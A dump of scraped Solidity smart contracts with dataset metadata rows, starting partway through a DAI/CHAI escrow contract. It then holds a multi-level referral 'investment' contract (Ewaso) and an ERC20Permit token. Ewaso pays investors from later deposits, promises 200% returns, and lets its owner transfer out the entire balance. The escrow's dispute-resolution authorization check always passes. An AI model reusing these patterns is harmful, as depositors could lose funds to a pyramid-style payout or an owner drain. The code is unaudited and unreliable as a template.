uint256 wrap;
uint256 termination;
uint256 index;
string details;
bool disputed;
bool released;
}
// DSE Contract Events:
event Registered(address indexed client, address indexed provider, uint256 indexed index);
event Released(uint256 indexed index);
event Disputed(uint256 indexed index, string indexed details);
event Resolved(uint256 indexed index, string indexed details);
event ManagerProposed(address indexed proposedManager, string indexed details);
event ManagerTransferred(address indexed manager, string indexed details);
constructor () public {
dai.approve(chaiAddress, uint(-1));
manager = msg.sender;
escrowFee = 0;
}
function register(// register $DAI escrow with DSR via $CHAI; arbitration via lexDAO
address provider,
uint256 payment,
uint256 termination,
string memory details) public payable {
require(msg.value == escrowFee);
uint256 index = dse.add(1);
dse = dse.add(1);
dai.transferFrom(msg.sender, vault, payment); // deposit $DAI
uint256 balance = chai.balanceOf(vault);
chai.join(vault, payment); // wrap into $CHAI and store in vault
escrow[index] = Escrow(msg.sender,
provider,
payment,
chai.balanceOf(vault).sub(balance),
termination,
index,
details,
false,
false);
address(manager).transfer(msg.value);
emit Registered(msg.sender, provider, index);
}
function release(uint256 index) public {
Escrow storage escr = escrow[index];
require(escr.disputed == false); // program safety check / status
require(now <= escr.termination); // program safety check / time
require(msg.sender == escr.client); // program safety check / authorization
chai.transfer(escr.provider, escr.wrap);
escr.released = true;
emit Released(index);
}
function withdraw(uint256 index) public { // client can withdraw $CHAI if termination time passes
Escrow storage escr = escrow[index];
require(escr.disputed == false); // program safety check / status
require(now >= escr.termination); // program safety check / time
require(msg.sender == escr.client); // program safety check / authorization
chai.transfer(escr.client, escr.wrap);
escr.released = true;
emit Released(index);
}
function dispute(uint256 index, string memory details) public {
Escrow storage escr = escrow[index];
require(escr.released == false); // program safety check / status
require(now <= escr.termination); // program safety check / time
require(msg.sender == escr.client || msg.sender == escr.provider); // program safety check / authorization
escr.disputed = true;
emit Disputed(index, details);
}
function resolve(uint256 index, uint256 clientAward, uint256 providerAward, string memory details) public onlyLexDAO {
Escrow storage escr = escrow[index];
uint256 lexFee = escr.wrap.div(20); // calculates 5% lexDAO resolution fee
require(escr.disputed == true); // program safety check / status
require(clientAward.add(providerAward) == escr.wrap.sub(lexFee)); // program safety check / economics
require(msg.sender != escr.client || msg.sender != escr.provider); // program safety check / authorization
chai.transfer(escr.client, clientAward);
chai.transfer(escr.provider, providerAward);
chai.transfer(msg.sender, lexFee);
escr.released = true;
emit Resolved(index, details);
}
function newEscrowFee(uint256 weiAmount) public {
require(msg.sender == manager);
escrowFee = weiAmount;
}
function proposeManager(address _proposedManager, string memory details) public {
require(msg.sender == manager);
proposedManager = _proposedManager; // proposed DSE beneficiary account
emit ManagerProposed(proposedManager, details);
}
function transferManager(string memory details) public {
require(msg.sender == proposedManager);
manager = msg.sender; // accepting DSE beneficiary account
emit ManagerTransferred(manager, details);
}
}
| 338,867 | 10,676 |
536df698323348f9091f8a3cd5dbd0c3f96891cf3f957881ee74e0edc6e94d22
| 23,716 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TDym1weZRX6dhAjTWdDUGkJyJD74TvLNaF_Ewaso.sol
| 5,158 | 18,805 |
//SourceUnit: updatedewaso (1).sol
pragma solidity 0.5.14;
interface AggregatorInterface {
function latestAnswer() external view returns (int256);
function latestTimestamp() external view returns (uint256);
function latestRound() external view returns (uint256);
function getAnswer(uint256 roundId) external view returns (int256);
function getTimestamp(uint256 roundId) external view returns (uint256);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns(uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns(uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ewaso {
using SafeMath for uint256;
// Investor details
struct userDetails{
uint tree;
uint currentid;
}
struct investDetails {
bool isExist;
uint depositAmount;
bool active;
uint depositTime;
uint depositPayouts;
uint binaryBonus;
uint levelBonus;
uint refCommission;
address directReferer;
address referer;
address[] referals;
address[] secondLineReferals;
uint joinTime;
}
// Mapping users details by address
mapping(address => userDetails)public users;
// Mapping address by id
mapping(uint => address)public userList;
// Mapping users by tree wise
mapping(address => mapping(uint => investDetails))public investnew;
// Mapping users plan
mapping(address => mapping(uint => uint))public planCalc;
// Mapping level income by levels
mapping(uint => uint)public levelIncome;
// Mapping binaryshare by tree
mapping(uint => uint)public binaryIncome;
// Mapping roishare by tree
mapping(uint => uint)public roiIncome;
// Mapping userlist by tree
mapping(uint => uint)public treeList;
// Level income event
event LevelIncome(address indexed from, address indexed to, uint value,uint tree, uint time);
// Failsafe event
event FailSafe(address indexed user, uint value, uint time);
// Cumulative amounts
event CumulativeAmount(address indexed from,uint value,uint tree,uint time);
// Invest event
event Invest(address indexed from, address indexed to, uint value,uint tree, uint time);
// Referal income event
event ReferalIncome(address indexed from, address indexed to, uint value,uint tree, uint time);
// Withdraw event
event Withdraw(address indexed from, uint value, uint tree, uint time);
// Binary income
event BinaryIncome(address indexed to,uint value,uint time,uint tree);
// Qcapping amount
event QcappIncome(address indexed to,uint value,uint time,uint tree);
// Users id
uint public currentId = 2;
// Owner address
address public owner;
// Binary distributor;
address public binaryAddress;
// Referal limit
uint public referLimit = 2;
// USD price updation
uint public dollorPrice = 150;
// Contract lock
bool public lockStatus;
uint public withdrawLimit = 10;
// Binary limit perday
uint public binaryLimit = 1000;
AggregatorInterface public priceFeed;
// Status for deposit amount
bool public depositStatus;
// Deposit price
uint public price;
// Duration
uint public duration = 15 days;
// Payout duration
uint public payoutDuration = 1 days;
modifier onlyOwner() {
require(msg.sender == owner, "Ewaso: Only Owner");
_;
}
modifier binaryDistributer() {
require(msg.sender == binaryAddress, "Ewaso: Only Owner");
_;
}
modifier isLock() {
require(lockStatus == false, "Ewaso: Contract Locked");
_;
}
modifier isContractcheck(address _user) {
require(!isContract(_user), "Ewaso: Invalid address");
_;
}
constructor(address _owner,address _aggregator_addr,address _binary)public {
owner = _owner;
binaryAddress = _binary;
address aggregator_addr = _aggregator_addr;
priceFeed = AggregatorInterface(aggregator_addr);
users[owner].currentid = 1;
userList[1] = owner;
for (uint i = 1; i <= 5; i++) {
levelIncome[i] = 2e6; // For level income
}
for (uint i = 6; i <= 10; i++) {
levelIncome[i] = 1e6; // For level income
}
for (uint i = 1; i<=50; i++){
investnew[owner][i].isExist = true;
}
}
function checkPrice()public view returns(uint){
uint _price = uint(getLatestPrice());
return (1e6/_price)*1e6;
}
function getLatestPrice() public view returns (int) {
// If the round is not complete yet, timestamp is 0
require(priceFeed.latestTimestamp() > 0, "Round not complete");
return priceFeed.latestAnswer();
}
function depAmount()public view returns(uint) {
if (depositStatus == false){
uint _price = checkPrice();
return dollorPrice*_price;
}
else{
return dollorPrice;
}
}
function invest(uint _refid,uint _tree)external isContractcheck(msg.sender) isLock payable {
require(users[msg.sender].tree + 1 == _tree,"Wrong tree given");
uint count;
uint id;
address directRef;
price = depAmount();
require(msg.value == price, "Iwaso: Given wrong amount");
if (investnew[userList[_refid]][_tree].isExist == false || _refid == 0) {
if (62 > (currentId - 1) - 1){
id = 1;
}
else{
if (treeList[_tree] > 0)
id = treeList[_tree];
else id =1 ;
}
_refid = users[findFreeReferrer(userList[id],_tree)].currentid;
_refpayout(msg.sender,msg.value.mul(10).div(100),userList[_refid],_tree);
count++;
}
if (investnew[userList[_refid]][_tree].referals.length >= referLimit) {
directRef = userList[_refid];
if (62 > (currentId.sub(1) - 1)){
id = 1;
}
else{
id = treeList[_tree];
}
_refid = users[findFreeReferrer(userList[_refid],_tree)].currentid;
}
users[msg.sender].tree++;
investnew[msg.sender][users[msg.sender].tree].isExist = true;
investnew[msg.sender][users[msg.sender].tree].depositAmount = msg.value;
investnew[msg.sender][users[msg.sender].tree].active = true;
investnew[msg.sender][users[msg.sender].tree].depositTime = block.timestamp;
investnew[msg.sender][users[msg.sender].tree].joinTime = block.timestamp;
investnew[msg.sender][users[msg.sender].tree].depositPayouts = 0;
investnew[msg.sender][users[msg.sender].tree].binaryBonus = 0;
investnew[msg.sender][users[msg.sender].tree].levelBonus = 0;
investnew[msg.sender][users[msg.sender].tree].refCommission = 0;
investnew[msg.sender][users[msg.sender].tree].referer = userList[_refid];
investnew[msg.sender][users[msg.sender].tree].referals = new address[](0);
investnew[userList[_refid]][users[msg.sender].tree].referals.push(msg.sender);
address refofref = investnew[userList[_refid]][users[msg.sender].tree].referer;
investnew[refofref][users[msg.sender].tree].secondLineReferals.push(msg.sender);
if (count == 0){
if(directRef != address(0)){
investnew[msg.sender][users[msg.sender].tree].directReferer = directRef;
investnew[directRef][_tree].refCommission = investnew[directRef][_tree].refCommission.add(msg.value.mul(10).div(100));
emit ReferalIncome(msg.sender, directRef, msg.value.mul(10).div(100),_tree, block.timestamp);
}
else{
investnew[investnew[msg.sender][_tree].referer][_tree].refCommission = investnew[investnew[msg.sender][_tree].referer][_tree].refCommission.add(msg.value.mul(10).div(100));
emit ReferalIncome(msg.sender, investnew[msg.sender][_tree].referer, msg.value.mul(10).div(100),_tree, block.timestamp);
}
}
if (users[msg.sender].currentid == 0) {
users[msg.sender].currentid = currentId;
userList[users[msg.sender].currentid] = msg.sender;
currentId++;
}
if (investnew[investnew[msg.sender][_tree].referer][_tree].referals.length == 2) {
updateCategory(investnew[msg.sender][_tree].referer,_tree);
}
treeList[_tree] = users[msg.sender].currentid;
binaryIncome[_tree] = binaryIncome[_tree].add(msg.value.mul(40).div(100));
roiIncome[_tree] = roiIncome[_tree].add(msg.value.mul(40).div(100));
emit Invest(msg.sender, investnew[msg.sender][_tree].referer, msg.value, _tree,block.timestamp);
}
function Binary(uint[] memory _id, uint[] memory _amt,uint _tree)public binaryDistributer returns(bool) {
for (uint i=0;i<_id.length;i++) {
if (investnew[userList[_id[i]]][_tree].secondLineReferals.length == 4) {
binaryIncome[_tree] = binaryIncome[_tree].sub(_amt[i]);
if (_amt[i] < binaryLimit.mul(checkPrice())){
investnew[userList[_id[i]]][_tree].binaryBonus = investnew[userList[_id[i]]][_tree].binaryBonus.add(_amt[i]);
emit BinaryIncome(userList[_id[i]],_amt[i],block.timestamp,_tree);
}
if (_amt[i] > binaryLimit.mul(checkPrice())){
uint remainAmount = _amt[i].sub(binaryLimit.mul(checkPrice()));
_amt[i] = _amt[i].sub(remainAmount);
investnew[userList[i]][_tree].binaryBonus = investnew[userList[i]][_tree].binaryBonus.add(_amt[i]);
emit BinaryIncome(userList[_id[i]],_amt[i],block.timestamp,_tree);
for (uint j=1;j<=7;j++){
investnew[userList[j]][_tree].binaryBonus = investnew[userList[j]][_tree].binaryBonus.add(remainAmount.div(7));
emit QcappIncome(userList[j],remainAmount.div(7),block.timestamp,_tree);
}
}
}
}
return true;
}
function updateCategory(address _user,uint _tree)internal {
if (block.timestamp <= investnew[_user][_tree].joinTime.add(duration)) {
planCalc[_user][_tree] = 2;
}
else {
planCalc[_user][_tree] = 1;
}
}
function _refpayout(address _user, uint _amount, address _refer,uint _tree) internal {
address ref = _refer;
for (uint i = 1; i <= 10; i++) {
if (ref == address(0)) {
ref = owner;
}
investnew[ref][_tree].levelBonus = investnew[ref][_tree].levelBonus.add(_amount.mul(levelIncome[i]).div(100e6));
emit LevelIncome(_user, ref, _amount.mul(levelIncome[i]).div(100e6),_tree, block.timestamp);
ref = investnew[ref][_tree].referer;
}
}
function withdraw(uint _tree) public isLock {
(uint256 to_payout, uint256 max_payout,uint _plan) = this.payout(msg.sender,_tree);
require(investnew[msg.sender][_tree].depositPayouts < max_payout || msg.sender == owner, "Ewaso: Full payouts");
if (planCalc[msg.sender][_tree] == 0){
planCalc[msg.sender][_tree] = _plan;
}
// Deposit payout
if (to_payout > 0) {
if (investnew[msg.sender][_tree].depositPayouts.add(to_payout) > max_payout) {
to_payout = max_payout.sub(investnew[msg.sender][_tree].depositPayouts);
}
investnew[msg.sender][_tree].depositPayouts = investnew[msg.sender][_tree].depositPayouts.add(to_payout);
}
roiIncome[_tree] = roiIncome[_tree].sub(to_payout);
require(address(uint160(msg.sender)).send(to_payout), "Ewaso: withdraw failed");
emit Withdraw(msg.sender, to_payout,_tree, block.timestamp);
if (investnew[msg.sender][_tree].depositPayouts >= max_payout) {
investnew[msg.sender][_tree].active = false;
}
}
function cumulativeWithdraw(uint _tree)public {
uint amount;
// Referal commission
if (investnew[msg.sender][_tree].refCommission > 0) {
amount = amount.add(investnew[msg.sender][_tree].refCommission);
investnew[msg.sender][_tree].refCommission = 0;
}
// Level bonus
if (investnew[msg.sender][_tree].levelBonus > 0) {
amount = amount.add(investnew[msg.sender][_tree].levelBonus);
investnew[msg.sender][_tree].levelBonus = 0;
}
// Binary bonus
if (investnew[msg.sender][_tree].binaryBonus > 0 && investnew[msg.sender][_tree].secondLineReferals.length == 4) {
amount = amount.add(investnew[msg.sender][_tree].binaryBonus);
investnew[msg.sender][_tree].binaryBonus = 0;
}
require(amount >= withdrawLimit.mul(checkPrice()),"Ewaso: Not reach 10$ amount ");
require(address(uint160(msg.sender)).send(amount), "Ewaso: Cumulative failed");
emit CumulativeAmount(msg.sender,amount,_tree,block.timestamp);
}
function maxPayoutOf(uint256 _amount) pure external returns(uint256) {
return _amount.mul(200).div(100); // 200% of deposit amount
}
function payout(address _user,uint _tree) external view returns(uint _payout, uint _maxPayout,uint _plan) {
if (block.timestamp >= investnew[_user][_tree].depositTime.add(duration)) {
if (planCalc[_user][_tree] == 0) {
_plan = 1;
}
else {
if (planCalc[_user][_tree] == 0)
_plan = 2;
else
_plan = planCalc[_user][_tree];
}
uint amount = investnew[_user][_tree].depositAmount;
_maxPayout = this.maxPayoutOf(amount);
if (investnew[_user][_tree].depositPayouts < _maxPayout) {
_payout = ((amount.mul(0.33e6).div(100e6)).mul((block.timestamp.sub(investnew[_user][_tree].depositTime.add(duration))).div(payoutDuration))).sub(investnew[_user][_tree].depositPayouts);
_payout = _payout.mul(_plan);
if (investnew[_user][_tree].depositPayouts.add(_payout) > _maxPayout) {
_payout = _maxPayout.sub(investnew[_user][_tree].depositPayouts);
}
}
}
}
function findFreeReferrer(address _user,uint _tree) public view returns(address) {
if (investnew[_user][_tree].referals.length < referLimit) {
return _user;
}
address[] memory referrals = new address[](126);
referrals[0] = investnew[_user][_tree].referals[0];
referrals[1] = investnew[_user][_tree].referals[1];
address freeReferrer;
bool noFreeReferrer = true;
for (uint i = 0; i < 126; i++) { // Finding FreeReferrer
if (investnew[referrals[i]][_tree].referals.length == referLimit) {
if (i < 62) {
referrals[(i + 1) * 2] = investnew[referrals[i]][_tree].referals[0];
referrals[(i + 1) * 2 + 1] = investnew[referrals[i]][_tree].referals[1];
}
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, "Iwaso: No Free Referrer");
return freeReferrer;
}
function viewReferals(address _user,uint _tree)public view returns(address[] memory,address[] memory) {
return (investnew[_user][_tree].referals,
investnew[_user][_tree].secondLineReferals);
}
function updateDollor(uint _deposit,uint _withdrawlimit,uint _binarylimit)public onlyOwner returns(bool) {
dollorPrice = _deposit;
withdrawLimit = _withdrawlimit;
binaryLimit = _binarylimit;
}
function setStatus(bool _status)public onlyOwner {
depositStatus = _status;
}
function updateAddress(address _owner,address _binary)public onlyOwner{
owner = _owner;
binaryAddress = _binary;
}
function updatePrice(uint _price) public onlyOwner {
require(depositStatus == true,"Already price exist");
dollorPrice = dollorPrice.mul(_price);
withdrawLimit = withdrawLimit.mul(_price);
binaryLimit = binaryLimit.mul(_price);
}
function updateDuraion(uint _duration,uint _payoutTime) public onlyOwner {
duration = _duration;
payoutDuration = _payoutTime;
}
function failSafe(address payable _toUser, uint _amount) public onlyOwner returns(bool) {
require(_toUser != address(0), "Ewaso: Invalid Address");
require(address(this).balance >= _amount, "Ewaso: Insufficient balance");
(_toUser).transfer(_amount);
emit FailSafe(_toUser, _amount, block.timestamp);
return true;
}
function contractLock(bool _lockStatus) public onlyOwner returns(bool) {
lockStatus = _lockStatus;
return true;
}
function isContract(address _account) public view returns(bool) {
uint32 size;
assembly {
size:= extcodesize(_account)
}
if (size != 0)
return true;
return false;
}
}
| 297,102 | 10,677 |
8c68e8bf2874d9379ce955f6be3e50597ef45dd97d99ba75da6484e3d8d6773b
| 29,430 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/af/afac7382d7c5177b1bcc4c84b539b800828fd1ed_SohmoyedToken.sol
| 4,495 | 16,837 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
// TODO(zx): Replace all instances of SafeMath with OZ implementation
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
// Only used in the BondingCalculator.sol
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
}
interface IERC20Permit {
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) external;
function nonces(address owner) external view returns (uint256);
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library ECDSA {
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function _throwError(RecoverError error) private pure {
if (error == RecoverError.NoError) {
return; // no error: do nothing
} else if (error == RecoverError.InvalidSignature) {
revert("ECDSA: invalid signature");
} else if (error == RecoverError.InvalidSignatureLength) {
revert("ECDSA: invalid signature length");
} else if (error == RecoverError.InvalidSignatureS) {
revert("ECDSA: invalid signature 's' value");
} else if (error == RecoverError.InvalidSignatureV) {
revert("ECDSA: invalid signature 'v' value");
}
}
function tryRecover(bytes32 hash, bytes memory signature) internal pure returns (address, RecoverError) {
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, signature);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address, RecoverError) {
bytes32 s;
uint8 v;
assembly {
s := and(vs, 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff)
v := add(shr(255, vs), 27)
}
return tryRecover(hash, v, r, s);
}
function recover(bytes32 hash,
bytes32 r,
bytes32 vs) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, r, vs);
_throwError(error);
return recovered;
}
function tryRecover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address, RecoverError) {
// the valid range for s in (301): 0 < s < secp256k1n 2 + 1, and for v in (302): v {27, 28}. Most
//
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return (address(0), RecoverError.InvalidSignatureS);
}
if (v != 27 && v != 28) {
return (address(0), RecoverError.InvalidSignatureV);
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
if (signer == address(0)) {
return (address(0), RecoverError.InvalidSignature);
}
return (signer, RecoverError.NoError);
}
function recover(bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s) internal pure returns (address) {
(address recovered, RecoverError error) = tryRecover(hash, v, r, s);
_throwError(error);
return recovered;
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
library Counters {
using SafeMath for uint256;
struct Counter {
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
// The {SafeMath} overflow check can be skipped here, see the comment at the top
counter._value += 1;
}
function decrement(Counter storage counter) internal {
counter._value = counter._value.sub(1);
}
}
abstract contract EIP712 {
// invalidate the cached domain separator if the chain id changes.
bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;
uint256 private immutable _CACHED_CHAIN_ID;
bytes32 private immutable _HASHED_NAME;
bytes32 private immutable _HASHED_VERSION;
bytes32 private immutable _TYPE_HASH;
constructor(string memory name, string memory version) {
uint256 chainID;
assembly {
chainID := chainid()
}
bytes32 hashedName = keccak256(bytes(name));
bytes32 hashedVersion = keccak256(bytes(version));
bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
_HASHED_NAME = hashedName;
_HASHED_VERSION = hashedVersion;
_CACHED_CHAIN_ID = chainID;
_CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion);
_TYPE_HASH = typeHash;
}
function _domainSeparatorV4() internal view returns (bytes32) {
uint256 chainID;
assembly {
chainID := chainid()
}
if (chainID == _CACHED_CHAIN_ID) {
return _CACHED_DOMAIN_SEPARATOR;
} else {
return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION);
}
}
function _buildDomainSeparator(bytes32 typeHash,
bytes32 nameHash,
bytes32 versionHash) private view returns (bytes32) {
uint256 chainID;
assembly {
chainID := chainid()
}
return keccak256(abi.encode(typeHash, nameHash, versionHash, chainID, address(this)));
}
function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) {
return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);
}
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256("ERC20Token");
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowances;
uint256 internal _totalSupply;
string internal _name;
string internal _symbol;
uint8 internal immutable _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {
using Counters for Counters.Counter;
mapping(address => Counters.Counter) private _nonces;
// solhint-disable-next-line var-name-mixedcase
bytes32 private immutable _PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
constructor(string memory name) EIP712(name, "1") {}
function permit(address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s) public virtual override {
require(block.timestamp <= deadline, "ERC20Permit: expired deadline");
bytes32 structHash = keccak256(abi.encode(_PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline));
bytes32 hash = _hashTypedDataV4(structHash);
address signer = ECDSA.recover(hash, v, r, s);
require(signer == owner, "ERC20Permit: invalid signature");
_approve(owner, spender, value);
}
function nonces(address owner) public view virtual override returns (uint256) {
return _nonces[owner].current();
}
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view override returns (bytes32) {
return _domainSeparatorV4();
}
function _useNonce(address owner) internal virtual returns (uint256 current) {
Counters.Counter storage nonce = _nonces[owner];
current = nonce.current();
nonce.increment();
}
}
contract SohmoyedToken is ERC20Permit {
modifier onlyBowl() {
require(msg.sender == bowl, "bark");
_;
}
uint256 public immutable maxSupply = 3_300_000_000_000 * 1e18;
address private initializer;
address public bowl; // bond
constructor() ERC20("Sohmoyed", "FETCH", 18) ERC20Permit("Sohmoyed") {
initializer = msg.sender;
}
function initialize() external {
require(msg.sender == initializer, "only init");
_mint(initializer, 33e27);
}
function fund(address _kibble) external {
require(msg.sender == initializer, "only init");
require(_kibble != address(0), "dispenser: 0");
_mint(_kibble, 1e30);
}
function setBowl(address _bowl) external {
require(msg.sender == initializer, "only init");
require(_bowl != address(0), "bowl: 0");
bowl = _bowl;
initializer = address(0);
}
function breed (address account_, uint256 amount_) onlyBowl external {
require(totalSupply() + amount_ <= maxSupply, "no more water");
_mint(account_, amount_);
}
function putDown (uint256 amount) external {
_burn(msg.sender, amount);
}
function putDownFrom (address account_, uint256 amount_) external {
_approve(account_, msg.sender, allowance(account_, msg.sender) - amount_);
_burn(account_, amount_);
}
}
| 99,375 | 10,678 |
edb2266acde64897b13c204eebcafced5c1b08bbdc5886e22ec54654549665e8
| 20,327 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
